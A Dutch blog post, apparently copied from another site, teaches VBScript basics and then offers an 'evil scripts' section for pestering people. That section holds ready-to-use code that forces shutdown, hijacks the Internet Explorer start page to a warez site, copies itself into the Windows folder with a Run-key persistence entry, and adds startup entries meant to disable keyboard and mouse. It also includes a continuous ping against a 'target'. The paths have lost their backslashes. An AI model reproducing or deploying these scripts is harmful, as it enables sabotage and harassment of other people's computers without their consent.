Goeiemorgen, even een blogje schrijven. ik heb dit gwn van een site geplukt maarja, misschien hebben jullie er iets aan.
Deze tutorial zal je wat codes leren om in VBS (een echte virus taal waar onder andere de I Love You virus is in geschreven) een leuk scriptje te maken. Maar dit is ook leuk te gebruiken om mensen gewoon wat te pesten. VBS betekent Visual Basic Script. Eerst leren we de saaie basis voor we de leuke dingen kunnen gaan leren.
Les 1
Open als eerst... je raad het al je kladblok.
dan typ je dit in
msgbox\"damn het werkt ook nog\"
sla je op als vulhiermaarwatin.vbs
En voer de script uit en er verschijnt een schermpje
met Damn het werkt ook nog.
uitleg.
msgbox staat voor Messagebox.
\"damn het werkt ook nog\" is dus de tekst in de popup scherm.
nu open je weer de klablok en voer je in.
2
a=inputbox(\"gast wat is je naam\") msgbox \"damn wie noemt zijn kind nouw \"+a
sla hem op als .vbs en open hem nu en zie werking ervan.
wat houden de codes allemaal in ?
Inputbox = is simpel weg je wat in laten voeren
a= = de waarde van de inputbox
msgbox \"\" = tekst laten zien
+a = hij voegt bij msgbox dat gene wat je bij inputbox in vulde
Les 2
We gaan nu leren dingen op te starten en te maken.(dit klinkt leuk net of ik een leraar ben Lol )o
Oke hoef het nu niet meer te zeggen eigenlijks open kladblok
en voer dit er in
2
3
4
Set fs = CreateObject(\"Scripting.FileSystemObject\") Set a = fs.CreateTextFile(\"C:mijn bijbel.txt\") a.WriteLine (\"Leer Tesamen en spiek als je kunt op een tetamen AMEN\") a.Close
voer de script uit en je ziet dat die een text file
in de c schijf maakt met de naam mijn bijbel
en met de tekst Leer Tesamen en spiek als je kunt op een tetamen AMEN
Uitleg
set fso=CreateObject(\"Scripting.FileSystemObject\"
roept een script file op.
set a=fso.CreateTextFile zegt dat het een textfile is.
(\"C:mijn bijbel.txt\"geeft de locatie waar hij komt en de nieuwe filename aan
a.WriteLine wat tussen de haakjes staat typt hij in de file
a.Close sluit de text.
Deze manier zouden we dus ook batch bestanden kunnen maken
maar en ze ook op starten zo iets als hier onder.
2
3
4
5
6
7
8
9
Set fs = CreateObject(\"Scripting.FileSystemObject\") Set a = fs.CreateTextFile(\"C:batch.bat\", True) a.WriteLine (\"@echo off\") a.WriteLine (\"echo het werkt\") a.WriteLine (\"pause\") a.Close msgbox\"ik ga een tekst laten zien\" Set shl = CreateObject(\"Wscript.shell\") shl.Run \"c:batch.bat\"
sla het op als een .vbs
en Zie het effect.
ff uitleg over de nieuwe codes.
Set shl = CreateObject(\"Wscript.shell\" = geen flauw idee niet belangrijk zo lang
je dat maar voor die andere code doet.
shl.Run = shl is de waarde die je had gezet door die andere code
en die Run lijkt me vrij duidelijk he Biggrin Biggrin.
WAARSCHUWING: het bestand moet altijd 1 woord zijn
niet meerdere anders werkt het niet.
je kan nog meer doen met dat shl.Run zo als
batch commando\'s uitvoeren Biggrin
voorbeeld
2
3
Set a = CreateObject(\"WScript.Shell\") a.run (\"c:windowsping.exe -t -l 1024 je doelwit\") end sub
deze script pingt dus wat jij bij je doelwit in vult
maar je kunt niet ping doen ofzo
je moet de hele bestand naam op geven
en alle dos commando\'s zitten in windows map
dus moet je ff de dos commando op zoeken
en de hele naam invullen om hem te laten werken.
handige script.
Deze script vond ik zeer handig hoe die werkt
geen zin in om uit te leggen Lol Biggrin
deze script maakt zo menu waar je uit
kan kiezen zeer handig
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Dim strMsg,inp01,strTitle,strFlag
strTitle = \"Answer Box\"
strMsg = \"Enter A for Alaska\" & vbCR
strMsg = strMsg & \"Enter D for Delaware\" & vbCR
strMsg = strMsg & \"Enter T for Texas\" & vbCR
strFlag = False
Do While strFlag = False
inp01 = InputBox(strMsg,\"Make your selection\")
Select Case inp01
Case \"A\"
MsgBox \"You picked Alaska!\",64,strTitle
strFlag = True
Case \"D\"
MsgBox \"You picked Delaware!\",64,strTitle
strFlag = True
Case \"T\"
MsgBox \"You picked Texas!\",64,strTitle
strFlag = True
Case Else
MsgBox \"You made an incorrect selection!\",64,strTitle
End Select
Loop
Wscript.QuitEViL SCRIPTS !!!!!! en leuke scripts Evil
Deze code laat de PC afsluiten.
2
3
4
Set OpSysSet = GetObject(\"winmgmts:{(Shutdown)}//./root/cimv2\").ExecQuery(\"select * from Win32_OperatingSystem where Primary=true\")
for each OpSys in OpSysSet
OpSys.ShutDown()
nextDeze weizigt de naam van de titel van de Internet Explower.
2
Set shl = CreateObject(\"Wscript.shell\") Shl.RegWrite \"HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title\",\"de naam\"
Dit verander je startpagina.
2
Set shl = CreateObject(\"Wscript.shell\") Shl.RegWrite \"HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page\",\"http://warezheaven.nl\"
Dit opent je CD-rom/dv/brander.
2
3
4
5
6
7
Set oWMP = CreateObject(\"WMPlayer.OCX.7\" ) Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If
Dit laat je PC een heel vaag error geluidje horen.
2
Set oWS = WScript.CreateObject(\"WScript.Shell\") oWS.Run \"%comspec% /c echo \" & Chr(07), 0, True
Dit zal je \'\'virusje\'\' in je opstart volgorde van windows zetten.
2
3
4
5
6
Set Shl = CreateObject(\"Wscript.Shell\") Set fso = CreateObject(\"Scripting.FileSystemObject\") winfolder = fso.GetSpecialFolder(0) Set vbsfile = fso.GetFile(WScript.ScriptFullName) vbsfile.Copy winfolder & \"Virus.vbs\" Shl.RegWrite \"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunStart menu\",winfolder & \"Virus.vbs\"
Dit verandert de naam van op wie de PC geregistreert staat.
2
Set shl = CreateObject(\"Wscript.shell\") Shl.RegWrite \"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRegisteredOwner\", \"Hackt by Under Rap AkA M.A\"
Deze code Schakelt het toetsenbord uit.
2
3
Set shl = CreateObject(\"Wscript.shell\") Shl.RegWrite \"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunDisableKeyboard\", \"Rundll32.exe Keyboard,Disable
deze code schakelt de muis uit
2
3
Set shl = CreateObject(\"Wscript.shell\") Shl.RegWrite \"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunDisableMouse\", \"Rundll32.exe Mouse,Disable\"
veel plezier er mee en wees creatief
copyrights @ under_rap
Als jullie nog meer kennen, posts ze dan, want ik wil er veel meer
